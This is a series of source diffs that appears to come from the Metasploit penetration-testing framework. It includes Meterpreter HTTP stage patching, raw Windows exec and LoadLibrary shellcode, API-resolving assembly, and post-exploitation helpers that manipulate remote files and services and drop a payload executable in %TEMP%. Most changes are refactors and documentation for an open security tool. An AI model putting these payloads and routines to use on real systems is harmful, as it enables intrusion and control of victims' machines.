str = "METERPRETER_TRANSPORT_HTTP#{ssl? ? "S" : ""}\x00"
blob[i, str.length] = str
end
print_status("Patched transport at offset #{i}...")
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
i = blob.index("https://" + ("X" * 256))
if i
url = payload_uri + conn_id + "/\x00"
blob[i, url.length] = url
end
print_status("Patched URL at offset #{i}...")
i = blob.index([0xb64be661].pack("V"))
if i
str = [ datastore['SessionExpirationTimeout'] ].pack("V")
blob[i, str.length] = str
end
print_status("Patched Expiration Timeout at offset #{i}...")
i = blob.index([0xaf79257f].pack("V"))
if i
str = [ datastore['SessionCommunicationTimeout'] ].pack("V")
blob[i, str.length] = str
end
print_status("Patched Communication Timeout at offset #{i}...")
#
# Patch options into the payload
#
Rex::Payloads::Meterpreter::Patch.patch_passive_service! blob,
:ssl => ssl?,
:url => url,
:expiration => datastore['SessionExpirationTimeout'],
:comm_timeout => datastore['SessionCommunicationTimeout'],
:ua => datastore['MeterpreterUserAgent'],
:proxyhost => datastore['PROXYHOST'],
:proxyport => datastore['PROXYPORT'],
:proxy_type => datastore['PROXY_TYPE'],
:proxy_username => datastore['PROXY_USERNAME'],
:proxy_password => datastore['PROXY_PASSWORD']
resp.body = encode_stage(blob)

View File

@ -527,6 +527,10 @@ class OptRegexp < OptBase
return Regexp.compile(value)
end
def default
@default.to_s
end
def display_value(value)
if value.kind_of?(Regexp)
return value.source

View File

@ -240,10 +240,11 @@ module Msf::Payload::Stager
end
# Allow the user to specify additional registers to preserve
saved_registers = (
datastore['StageEncoderSaveRegisters'].to_s + " "
saved_registers =
datastore['StageEncoderSaveRegisters'].to_s +
" " +
encode_stage_preserved_registers
).strip
saved_registers.strip!
estg = nil
@ -262,6 +263,7 @@ module Msf::Payload::Stager
if encp.encoder
print_status("Encoded stage with #{encp.encoder.refname}")
estg = encp.encoded
break
end
end

View File

@ -29,21 +29,21 @@ module Payload::Windows::Exec
{
'Offsets' =>
{
'EXITFUNC' => [ 161, 'V' ]
'EXITFUNC' => [ 154, 'V' ]
},
'Payload' =>
"\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" +
"\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" +
"\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" +
"\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" +
"\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" +
"\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" +
"\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" +
"\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +
"\x6A\x01\x8D\x85\xB9\x00\x00\x00\x50\x68\x31\x8B\x6F\x87\xFF\xD5" +
"\xBB\xE0\x1D\x2A\x0A\x68\xA6\x95\xBD\x9D\xFF\xD5\x3C\x06\x7C\x0A" +
"\x80\xFB\xE0\x75\x05\xBB\x47\x13\x72\x6F\x6A\x00\x53\xFF\xD5"
"\xFC\xE8\x82\x00\x00\x00\x60\x89\xE5\x31\xC0\x64\x8B\x50\x30\x8B" +
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\xAC\x3C" +
"\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF2\x52\x57\x8B\x52" +
"\x10\x8B\x4A\x3C\x8B\x4C\x11\x78\xE3\x48\x01\xD1\x51\x8B\x59\x20" +
"\x01\xD3\x8B\x49\x18\xE3\x3A\x49\x8B\x34\x8B\x01\xD6\x31\xFF\xAC" +
"\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF6\x03\x7D\xF8\x3B\x7D\x24\x75" +
"\xE4\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3" +
"\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF" +
"\xE0\x5F\x5F\x5A\x8B\x12\xEB\x8D\x5D\x6A\x01\x8D\x85\xB2\x00\x00" +
"\x00\x50\x68\x31\x8B\x6F\x87\xFF\xD5\xBB\xE0\x1D\x2A\x0A\x68\xA6" +
"\x95\xBD\x9D\xFF\xD5\x3C\x06\x7C\x0A\x80\xFB\xE0\x75\x05\xBB\x47" +
"\x13\x72\x6F\x6A\x00\x53\xFF\xD5"
}
))

View File

@ -29,21 +29,21 @@ module Payload::Windows::LoadLibrary
{
'Offsets' =>
{
'EXITFUNC' => [ 159, 'V' ]
'EXITFUNC' => [ 152, 'V' ]
},
'Payload' =>
"\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" +
"\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" +
"\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" +
"\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" +
"\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" +
"\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" +
"\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" +
"\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +
"\x8D\x85\xB7\x00\x00\x00\x50\x68\x4C\x77\x26\x07\xFF\xD5\xBB\xE0" +
"\x1D\x2A\x0A\x68\xA6\x95\xBD\x9D\xFF\xD5\x3C\x06\x7C\x0A\x80\xFB" +
"\xE0\x75\x05\xBB\x47\x13\x72\x6F\x6A\x00\x53\xFF\xD5"
"\xFC\xE8\x82\x00\x00\x00\x60\x89\xE5\x31\xC0\x64\x8B\x50\x30\x8B" +
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\xAC\x3C" +
"\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF2\x52\x57\x8B\x52" +
"\x10\x8B\x4A\x3C\x8B\x4C\x11\x78\xE3\x48\x01\xD1\x51\x8B\x59\x20" +
"\x01\xD3\x8B\x49\x18\xE3\x3A\x49\x8B\x34\x8B\x01\xD6\x31\xFF\xAC" +
"\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF6\x03\x7D\xF8\x3B\x7D\x24\x75" +
"\xE4\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3" +
"\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF" +
"\xE0\x5F\x5F\x5A\x8B\x12\xEB\x8D\x5D\x8D\x85\xB0\x00\x00\x00\x50" +
"\x68\x4C\x77\x26\x07\xFF\xD5\xBB\xE0\x1D\x2A\x0A\x68\xA6\x95\xBD" +
"\x9D\xFF\xD5\x3C\x06\x7C\x0A\x80\xFB\xE0\x75\x05\xBB\x47\x13\x72" +
"\x6F\x6A\x00\x53\xFF\xD5"
}
))

View File

@ -68,8 +68,8 @@ module Msf::Payload::Windows::PrependMigrate
api_call:
pushad ; We preserve all the registers for the caller, bar EAX and ECX.
mov ebp, esp ; Create a new stack frame
xor edx, edx ; Zero EDX
mov edx, [fs:edx+48] ; Get a pointer to the PEB
xor eax, eax ; Zero EAX (upper 3 bytes will remain zero until function is found)
mov edx, [fs:eax+48] ; Get a pointer to the PEB
mov edx, [edx+12] ; Get PEB->Ldr
mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list
next_mod: ;
@ -77,7 +77,6 @@ module Msf::Payload::Windows::PrependMigrate
movzx ecx, word [edx+38] ; Set ECX to the length we want to check
xor edi, edi ; Clear EDI which will store the hash of the module name
loop_modname: ;
xor eax, eax ; Clear EAX
lodsb ; Read in the next byte of the name
cmp al, 'a' ; Some versions of Windows use lower case module names
jl not_lowercase ;
@ -92,10 +91,10 @@ module Msf::Payload::Windows::PrependMigrate
push edi ; Save the current module hash for later
; Proceed to iterate the export address table
mov edx, [edx+16] ; Get this modules base address
mov eax, [edx+60] ; Get PE header
mov ecx, [edx+60] ; Get PE header
; use ecx as our EAT pointer here so we can take advantage of jecxz.
mov ecx, [eax+edx+120] ; Get the EAT from the PE header
mov ecx, [ecx+edx+120] ; Get the EAT from the PE header
jecxz get_next_mod1 ; If no EAT present, process the next module
add ecx, edx ; Add the modules base address
push ecx ; Save the current modules EAT
@ -113,7 +112,6 @@ module Msf::Payload::Windows::PrependMigrate
xor edi, edi ; Clear EDI which will store the hash of the function name
; And compare it to the one we want
loop_funcname: ;
xor eax, eax ; Clear EAX
lodsb ; Read in the next byte of the ASCII function name
ror edi, 13 ; Rotate right our hash value
add edi, eax ; Add the next byte of the name
@ -145,7 +143,7 @@ module Msf::Payload::Windows::PrependMigrate
; We now automagically return to the correct caller...
get_next_mod: ;
pop eax ; Pop off the current (now the previous) modules EAT
pop edi ; Pop off the current (now the previous) modules EAT
get_next_mod1: ;
pop edi ; Pop off the current (now the previous) modules hash
pop edx ; Restore our position in the module list

View File

@ -70,6 +70,9 @@ module Msf
# @!attribute template
# @return [String] The path to an executable template to use
attr_accessor :template
# @!attribute var_name
# @return [String] The custom variable string for certain output formats
attr_accessor :var_name
# @param opts [Hash] The options hash
@ -105,6 +108,7 @@ module Msf
@space = opts.fetch(:space, 1.gigabyte)
@stdin = opts.fetch(:stdin, nil)
@template = opts.fetch(:template, '')
@var_name = opts.fetch(:var_name, 'buf')
@framework = opts.fetch(:framework)
@ -213,10 +217,10 @@ module Msf
if Rex::Arch.endian(arch) != ENDIAN_BIG
raise IncompatibleEndianess, "Big endian format selected for a non big endian payload"
else
::Msf::Simple::Buffer.transform(shellcode, format)
::Msf::Simple::Buffer.transform(shellcode, format, @var_name)
end
when *::Msf::Simple::Buffer.transform_formats
::Msf::Simple::Buffer.transform(shellcode, format)
::Msf::Simple::Buffer.transform(shellcode, format, @var_name)
when *::Msf::Util::EXE.to_executable_fmt_formats
::Msf::Util::EXE.to_executable_fmt(framework, arch, platform_list, shellcode, format, exe_options)
else

View File

@ -3,20 +3,26 @@
module Msf::Post::File
#
# Change directory in the remote session to +path+
# Change directory in the remote session to +path+, which may be relative or
# absolute.
#
# @return [void]
def cd(path)
e_path = expand_path(path) rescue path
if session.type == "meterpreter"
e_path = session.fs.file.expand_path(path) rescue path
session.fs.dir.chdir(e_path)
else
session.shell_command_token("cd '#{path}'")
session.shell_command_token("cd \"#{e_path}\"")
end
end
#
# Returns the current working directory in the remote session
#
# @note This may be inaccurate on shell sessions running on Windows before
# XP/2k3
#
# @return [String]
def pwd
if session.type == "meterpreter"
return session.fs.dir.getwd
@ -51,6 +57,7 @@ module Msf::Post::File
#
# See if +path+ exists on the remote system and is a directory
#
# @param path [String] Remote filename to check
def directory?(path)
if session.type == "meterpreter"
stat = session.fs.file.stat(path) rescue nil
@ -60,7 +67,7 @@ module Msf::Post::File
if session.platform =~ /win/
f = cmd_exec("cmd.exe /C IF exist \"#{path}\\*\" ( echo true )")
else
f = session.shell_command_token("test -d '#{path}' && echo true")
f = session.shell_command_token("test -d \"#{path}\" && echo true")
end
return false if f.nil? or f.empty?
@ -72,6 +79,7 @@ module Msf::Post::File
#
# Expand any environment variables to return the full path specified by +path+.
#
# @return [String]
def expand_path(path)
if session.type == "meterpreter"
return session.fs.file.expand_path(path)
@ -83,6 +91,7 @@ module Msf::Post::File
#
# See if +path+ exists on the remote system and is a regular file
#
# @param path [String] Remote filename to check
def file?(path)
if session.type == "meterpreter"
stat = session.fs.file.stat(path) rescue nil
@ -95,7 +104,7 @@ module Msf::Post::File
f = cmd_exec("cmd.exe /C IF exist \"#{path}\\\\\" ( echo false ) ELSE ( echo true )")
end
else
f = session.shell_command_token("test -f '#{path}' && echo true")
f = session.shell_command_token("test -f \"#{path}\" && echo true")
end
return false if f.nil? or f.empty?
@ -109,6 +118,7 @@ module Msf::Post::File
#
# Check for existence of +path+ on the remote file system
#
# @param path [String] Remote filename to check
def exist?(path)
if session.type == "meterpreter"
stat = session.fs.file.stat(path) rescue nil
@ -117,7 +127,7 @@ module Msf::Post::File
if session.platform =~ /win/
f = cmd_exec("cmd.exe /C IF exist \"#{path}\" ( echo true )")
else
f = session.shell_command_token("test -e '#{path}' && echo true")
f = cmd_exec("test -e \"#{path}\" && echo true")
end
return false if f.nil? or f.empty?
@ -126,31 +136,19 @@ module Msf::Post::File
end
end
#
# Remove a remote file
#
def file_rm(file)
if session.type == "meterpreter"
session.fs.file.rm(file)
else
if session.platform =~ /win/
session.shell_command_token("del \"#{file}\"")
else
session.shell_command_token("rm -f '#{file}'")
end
end
end
#
# Writes a given string to a given local file
#
def file_local_write(file2wrt, data2wrt)
if not ::File.exists?(file2wrt)
::FileUtils.touch(file2wrt)
# @param local_file_name [String]
# @param data [String]
# @return [void]
def file_local_write(local_file_name, data)
unless ::File.exists?(local_file_name)
::FileUtils.touch(local_file_name)
end
output = ::File.open(file2wrt, "a")
data2wrt.each_line do |d|
output = ::File.open(local_file_name, "a")
data.each_line do |d|
output.puts(d)
end
output.close
@ -159,22 +157,27 @@ module Msf::Post::File
#
# Returns a MD5 checksum of a given local file
#
def file_local_digestmd5(file2md5)
if not ::File.exists?(file2md5)
raise "File #{file2md5} does not exists!"
else
# @param local_file_name [String] Local file name
# @return [String] Hex digest of file contents
def file_local_digestmd5(local_file_name)
if ::File.exists?(local_file_name)
require 'digest/md5'
chksum = nil
chksum = Digest::MD5.hexdigest(::File.open(file2md5, "rb") { |f| f.read})
chksum = Digest::MD5.hexdigest(::File.open(local_file_name, "rb") { |f| f.read})
return chksum
else
raise "File #{local_file_name} does not exists!"
end
end
#
# Returns a MD5 checksum of a given remote file
#
def file_remote_digestmd5(file2md5)
data = read_file(file2md5)
# @note THIS DOWNLOADS THE FILE
# @param file_name [String] Remote file name
# @return [String] Hex digest of file contents
def file_remote_digestmd5(file_name)
data = read_file(file_name)
chksum = nil
if data
chksum = Digest::MD5.hexdigest(data)
@ -185,22 +188,27 @@ module Msf::Post::File
#
# Returns a SHA1 checksum of a given local file
#
def file_local_digestsha1(file2sha1)
if not ::File.exists?(file2sha1)
raise "File #{file2sha1} does not exists!"
else
# @param local_file_name [String] Local file name
# @return [String] Hex digest of file contents
def file_local_digestsha1(local_file_name)
if ::File.exists?(local_file_name)
require 'digest/sha1'
chksum = nil
chksum = Digest::SHA1.hexdigest(::File.open(file2sha1, "rb") { |f| f.read})
chksum = Digest::SHA1.hexdigest(::File.open(local_file_name, "rb") { |f| f.read})
return chksum
else
raise "File #{local_file_name} does not exists!"
end
end
#
# Returns a SHA1 checksum of a given remote file
#
def file_remote_digestsha1(file2sha1)
data = read_file(file2sha1)
# @note THIS DOWNLOADS THE FILE
# @param file_name [String] Remote file name
# @return [String] Hex digest of file contents
def file_remote_digestsha1(file_name)
data = read_file(file_name)
chksum = nil
if data
chksum = Digest::SHA1.hexdigest(data)
@ -211,22 +219,27 @@ module Msf::Post::File
#
# Returns a SHA256 checksum of a given local file
#
def file_local_digestsha2(file2sha2)
if not ::File.exists?(file2sha2)
raise "File #{file2sha2} does not exists!"
else
# @param local_file_name [String] Local file name
# @return [String] Hex digest of file contents
def file_local_digestsha2(local_file_name)
if ::File.exists?(local_file_name)
require 'digest/sha2'
chksum = nil
chksum = Digest::SHA256.hexdigest(::File.open(file2sha2, "rb") { |f| f.read})
chksum = Digest::SHA256.hexdigest(::File.open(local_file_name, "rb") { |f| f.read})
return chksum
else
raise "File #{local_file_name} does not exists!"
end
end
#
# Returns a SHA2 checksum of a given remote file
#
def file_remote_digestsha2(file2sha2)
data = read_file(file2sha2)
# @note THIS DOWNLOADS THE FILE
# @param file_name [String] Remote file name
# @return [String] Hex digest of file contents
def file_remote_digestsha2(file_name)
data = read_file(file_name)
chksum = nil
if data
chksum = Digest::SHA256.hexdigest(data)
@ -238,6 +251,8 @@ module Msf::Post::File
# Platform-agnostic file read. Returns contents of remote file +file_name+
# as a String.
#
# @param file_name [String] Remote file name to read
# @return [String] Contents of the file
def read_file(file_name)
data = nil
if session.type == "meterpreter"
@ -246,19 +261,20 @@ module Msf::Post::File
if session.platform =~ /win/
data = session.shell_command_token("type \"#{file_name}\"")
else
data = session.shell_command_token("cat \'#{file_name}\'")
data = session.shell_command_token("cat \"#{file_name}\"")
end
end
data
end
#
# Platform-agnostic file write. Writes given object content to a remote file.
# Returns Boolean true if successful
#
# NOTE: *This is not binary-safe on Windows shell sessions!*
#
# @param file_name [String] Remote file name to write
# @param data [String] Contents to put in the file
# @return [void]
def write_file(file_name, data)
if session.type == "meterpreter"
fd = session.fs.file.new(file_name, "wb")
@ -281,6 +297,9 @@ module Msf::Post::File
#
# NOTE: *This is not binary-safe on Windows shell sessions!*
#
# @param file_name [String] Remote file name to write
# @param data [String] Contents to put in the file
# @return [void]
def append_file(file_name, data)
if session.type == "meterpreter"
fd = session.fs.file.new(file_name, "ab")
@ -300,6 +319,9 @@ module Msf::Post::File
# Read a local file +local+ and write it as +remote+ on the remote file
# system
#
# @param remote [String] Destination file name on the remote filesystem
# @param local [String] Local file whose contents will be uploaded
# @return (see #write_file)
def upload_file(remote, local)
write_file(remote, ::File.read(local))
end
@ -307,31 +329,46 @@ module Msf::Post::File
#
# Delete remote files
#
# @param remote_files [Array<String>] List of remote filenames to
# delete
# @return [void]
def rm_f(*remote_files)
remote_files.each do |remote|
if session.type == "meterpreter"
session.fs.file.delete(remote)
session.fs.file.delete(remote) if exist?(remote)
else
if session.platform =~ /win/
cmd_exec("del /q /f #{remote}")
cmd_exec("del /q /f \"#{remote}\"")
else
cmd_exec("rm -f #{remote}")
cmd_exec("rm -f \"#{remote}\"")
end
end
end
end
alias :file_rm :rm_f
#
# Rename a remote file.
#
# @param old_file [String] Remote file name to move
# @param new_file [String] The new name for the remote file
def rename_file(old_file, new_file)
if session.respond_to? :commands and session.commands.include?("stdapi_fs_file_move")
session.fs.file.mv(old_file, new_file)
if session.respond_to? :commands && session.commands.include?("stdapi_fs_file_move")
return (session.fs.file.mv(old_file, new_file).result == 0)
else
if session.platform =~ /win/
cmd_exec(%Q|move /y "#{old_file}" "#{new_file}"|)
if cmd_exec(%Q|move /y "#{old_file}" "#{new_file}"|) =~ /moved/
return true
else
cmd_exec(%Q|mv -f "#{old_file}" "#{new_file}"|)
return false
end
else
if cmd_exec(%Q|mv -f "#{old_file}" "#{new_file}"|).empty?
return true
else
return false
end
end
end
end
@ -339,6 +376,7 @@ module Msf::Post::File
alias :mv_file :rename_file
protected
#
# Meterpreter-specific file read. Returns contents of remote file
# +file_name+ as a String or nil if there was an error
@ -346,11 +384,12 @@ protected
# You should never call this method directly. Instead, call {#read_file}
# which will call this if it is appropriate for the given session.
#
# @return [String]
def _read_file_meterpreter(file_name)
begin
fd = session.fs.file.new(file_name, "rb")
rescue ::Rex::Post::Meterpreter::RequestError => e
print_error("Failed to open file: #{file_name}")
print_error("Failed to open file: #{file_name}: #{e}")
return nil
end
@ -370,10 +409,11 @@ protected
#
# Truncates if +append+ is false, appends otherwise.
#
# You should never call this method directly. Instead, call #write_file or
# #append_file which will call this if it is appropriate for the given
# You should never call this method directly. Instead, call {#write_file}
# or {#append_file} which will call this if it is appropriate for the given
# session.
#
# @return [void]
def _write_file_unix_shell(file_name, data, append=false)
redirect = (append ? ">>" : ">")
@ -482,7 +522,7 @@ protected
# The first command needs to use the provided redirection for either
# appending or truncating.
cmd = command.sub("CONTENTS") { chunks.shift }
session.shell_command_token("#{cmd} #{redirect} '#{file_name}'")
session.shell_command_token("#{cmd} #{redirect} \"#{file_name}\"")
# After creating/truncating or appending with the first command, we
# need to append from here on out.
@ -499,6 +539,7 @@ protected
#
# Calculate the maximum line length for a unix shell.
#
# @return [Fixnum]
def _unix_max_line_length
# Based on autoconf's arg_max calculator, see
# http://www.in-ulm.de/~mascheck/various/argmax/autoconf_check.html

View File

@ -32,7 +32,7 @@ module RubyDL
def method_missing(meth, *args, &block)
str = meth.to_s
lower = str[0,1].downcase + str[1..-1]
if self.respond_to? lower
if self.respond_to?(lower, true)
self.send lower, *args
else
super

View File

@ -283,7 +283,7 @@ module Accounts
vprint_error("The system cannot find the file specified: #{dir}")
return nil
else
vprint_error("Unknown error - GetLastError #{f['GetLastError']}: #{dir}")
vprint_error("#{f['ErrorMessage']}: #{dir}")
return nil
end
@ -298,6 +298,8 @@ module Accounts
w = adv.AccessCheck(sd, token, "ACCESS_WRITE", gen_map, len, len, 4, 8)
if !w["return"] then return nil end
if w["GrantedAccess"] > 0 then result << "W" end
result
end
end # Accounts

View File

@ -149,7 +149,7 @@ module LDAP
query_result = query_ldap(session_handle, "", 0, "(objectClass=computer)", ["defaultNamingContext"])
first_entry_fields = query_result[:results].first
# Value from First Attribute of First Entry
default_naming_context = first_entry_fields.first
default_naming_context = first_entry_fields.first[:value]
vprint_status("Default naming context #{default_naming_context}")
return default_naming_context
end
@ -231,7 +231,7 @@ module LDAP
values_result = values.join(',') if values
vprint_status("Values #{values}")
field_results << values_result
field_results << {:type => 'unknown', :value => values_result}
end
entry_results << field_results

View File

@ -90,7 +90,7 @@ module Msf::Post::Windows::Priv
uac = false
winversion = session.sys.config.sysinfo['OS']
if winversion =~ /Windows (Vista|7|8|2008)/
if winversion =~ /Windows (Vista|7|8|2008|2012)/
unless is_system?
begin
enable_lua = registry_getvaldata(

View File

@ -12,7 +12,7 @@ module Msf::Post::Windows::Runas
def shell_execute_exe(filename = nil, path = nil)
exe_payload = generate_payload_exe
payload_filename = filename || Rex::Text.rand_text_alpha((rand(8) + 6)) + '.exe'
payload_path = path || expand_path('%TEMP%')
payload_path = path || get_env('TEMP')
cmd_location = "#{payload_path}\\#{payload_filename}"
print_status("Uploading #{payload_filename} - #{exe_payload.length} bytes to the filesystem...")
write_file(cmd_location, exe_payload)

View File

@ -23,8 +23,29 @@ end
#
module Services
START_TYPE = ["Boot","System","Auto","Manual","Disabled"]
START_TYPE_BOOT = 0
START_TYPE_SYSTEM = 1
START_TYPE_AUTO = 2
START_TYPE_MANUAL = 3
START_TYPE_DISABLED = 4
SERVICE_STOPPED = 1
SERVICE_START_PENDING = 2
SERVICE_STOP_PENDING = 3
SERVICE_RUNNING = 4
SERVICE_CONTINUE_PENDING = 5
SERVICE_PAUSE_PENDING = 6
SERVICE_PAUSED = 7
include ::Msf::Post::Windows::Error
include ::Msf::Post::Windows::ExtAPI
include ::Msf::Post::Windows::Registry
def advapi32
session.railgun.advapi32
end
#
# Open the service manager with advapi32.dll!OpenSCManagerA on the
# given host or the local machine if :host option is nil. If called
@ -42,12 +63,12 @@ module Services
# OpenSCManagerA()
# @yield [manager] Gives the block a manager handle as returned by
# advapi32.dll!OpenSCManagerA. When the block returns, the handle
# will be closed with {#close_sc_manager}.
# will be closed with {#close_service_handle}.
# @raise [RuntimeError] if OpenSCManagerA returns a NULL handle
#
def open_sc_manager(opts={})
host = opts[:host] || nil
access = opts[:access] || 0xF003F
access = opts[:access] || "SC_MANAGER_ALL_ACCESS"
machine_str = host ? "\\\\#{host}" : nil
# SC_HANDLE WINAPI OpenSCManager(
@ -55,16 +76,16 @@ module Services
# _In_opt_ LPCTSTR lpDatabaseName,
# _In_ DWORD dwDesiredAccess
# );
manag = session.railgun.advapi32.OpenSCManagerA(machine_str,nil,access)
manag = advapi32.OpenSCManagerA(machine_str,nil,access)
if (manag["return"] == 0)
raise RuntimeError.new("Unable to open service manager, GetLastError: #{manag["GetLastError"]}")
raise RuntimeError.new("Unable to open service manager: #{manag["ErrorMessage"]}")
end
if (block_given?)
begin
yield manag["return"]
ensure
close_sc_manager(manag["return"])
close_service_handle(manag["return"])
end
else
return manag["return"]
@ -74,20 +95,95 @@ module Services
#
# Call advapi32.dll!CloseServiceHandle on the given handle
#
def close_sc_manager(handle)
def close_service_handle(handle)
if handle
session.railgun.advapi32.CloseServiceHandle(handle)
advapi32.CloseServiceHandle(handle)
end
end
#
# Open the service with advapi32.dll!OpenServiceA on the
# target manager
#
# @return [Fixnum] Opaque Windows handle SC_HANDLE as returned by
# OpenServiceA()
# @yield [manager] Gives the block a service handle as returned by
# advapi32.dll!OpenServiceA. When the block returns, the handle
# will be closed with {#close_service_handle}.
# @raise [RuntimeError] if OpenServiceA failed
#
def open_service_handle(manager, name, access)
handle = advapi32.OpenServiceA(manager, name, access)
if (handle["return"] == 0)
raise RuntimeError.new("Could not open service. OpenServiceA error: #{handle["ErrorMessage"]}")
end
if (block_given?)
begin
yield handle["return"]
ensure
close_service_handle(handle["return"])
end
else
return handle["return"]
end
end
# Yield each service name on the remote host
#
# @todo Allow operating on a remote host
# @yield [String] Case-sensitive name of a service
def each_service(&block)
if load_extapi
session.extapi.service.enumerate.each(&block)
else
serviceskey = "HKLM\\SYSTEM\\CurrentControlSet\\Services"
keys = registry_enumkeys(serviceskey)
keys.each do |sk|
srvtype = registry_getvaldata("#{serviceskey}\\#{sk}","Type")
# From http://support.microsoft.com/kb/103000
#
# 0x1 A Kernel device driver.
#
# 0x2 File system driver, which is also
# a Kernel device driver.
#
# 0x4 A set of arguments for an adapter.
#
# 0x10 A Win32 program that can be started
# by the Service Controller and that
# obeys the service control protocol.
# This type of Win32 service runs in
# a process by itself.
#
# 0x20 A Win32 service that can share a process
# with other Win32 services.
if srvtype == 32 || srvtype == 16
yield sk
end
end
keys
end
end
#
# List all Windows Services present
#
# @return [Array] The names of the services.
# @return [Array<Hash>] Array of Hashes containing Service details. May contain the following keys:
# * :name
# * :display
# * :pid
# * :status
# * :interactive
#
# @todo Rewrite to allow operating on a remote host
#
def service_list
if load_extapi
return session.extapi.service.enumerate
else
serviceskey = "HKLM\\SYSTEM\\CurrentControlSet\\Services"
a =[]
services = []
@ -101,13 +197,14 @@ module Services
begin
srvtype = registry_getvaldata("#{serviceskey}\\#{sk}","Type").to_s
if srvtype == "32" or srvtype == "16"
services << sk
services << {:name => sk }
end
rescue
end
}
a.push(t)
end
end
return services
end
@ -119,6 +216,9 @@ module Services
# command executed by the service. Service name is case sensitive. Hash
# keys are Name, Start, Command and Credentials.
#
# If ExtAPI is available we return the DACL, LOGroup, and Interactive
# values otherwise these values are nil
#
# @param name [String] The target service's name (not to be confused
# with Display Name). Case sensitive.
#
@ -128,18 +228,24 @@ module Services
#
def service_info(name)
service = {}
servicekey = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\#{name.chomp}"
service["Name"] = registry_getvaldata(servicekey,"DisplayName").to_s
srvstart = registry_getvaldata(servicekey,"Start").to_i
if srvstart == 2
service["Startup"] = "Auto"
elsif srvstart == 3
service["Startup"] = "Manual"
elsif srvstart == 4
service["Startup"] = "Disabled"
if load_extapi
begin
return session.extapi.service.query(name)
rescue Rex::Post::Meterpreter::RequestError => e
vprint_error("Request Error #{e} falling back to registry technique")
end
service["Command"] = registry_getvaldata(servicekey,"ImagePath").to_s
service["Credentials"] = registry_getvaldata(servicekey,"ObjectName").to_s
end
servicekey = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\#{name.chomp}"
service[:display] = registry_getvaldata(servicekey,"DisplayName").to_s
service[:starttype] = registry_getvaldata(servicekey,"Start").to_i
service[:path] = registry_getvaldata(servicekey,"ImagePath").to_s
service[:startname] = registry_getvaldata(servicekey,"ObjectName").to_s
service[:dacl] = nil
service[:logroup] = nil
service[:interactive] = nil
return service
end
@ -149,17 +255,68 @@ module Services
# Mode is a string with either auto, manual or disable for the
# corresponding setting. The name of the service is case sensitive.
#
# @todo Rewrite to allow operating on a remote host
#
def service_change_startup(name,mode)
servicekey = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\#{name.chomp}"
def service_change_startup(name, mode, server=nil)
if mode.is_a? Integer
startup_number = mode
else
case mode.downcase
when "auto" then
registry_setvaldata(servicekey,"Start","2","REG_DWORD")
when "manual" then
registry_setvaldata(servicekey,"Start","3","REG_DWORD")
when "disable" then
registry_setvaldata(servicekey,"Start","4","REG_DWORD")
when "boot" then startup_number = START_TYPE_BOOT
when "system" then startup_number = START_TYPE_SYSTEM
when "auto" then startup_number = START_TYPE_AUTO
when "manual" then startup_number = START_TYPE_MANUAL
when "disable" then startup_number = START_TYPE_DISABLED
else
raise RuntimeError, "Invalid Startup Mode: #{mode}"
end
end
if session.railgun
begin
ret = service_change_config(name, {:starttype => startup_number}, server)
return (ret == Error::SUCCESS)
rescue Rex::Post::Meterpreter::RequestError => e
if server
# Cant do remote registry changes at present
return false
else
vprint_error("Request Error #{e} falling back to registry technique")
end
end
end
servicekey = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\#{name.chomp}"
registry_setvaldata(servicekey,"Start",startup_number,"REG_DWORD")
end
#
# Modify a service on the session host
#
# @param name [String] Name of the service to be used as the key
# @param opts [Hash] Settings to be modified
# @param server [String,nil] A hostname or IP address. Default is the
# remote localhost
#
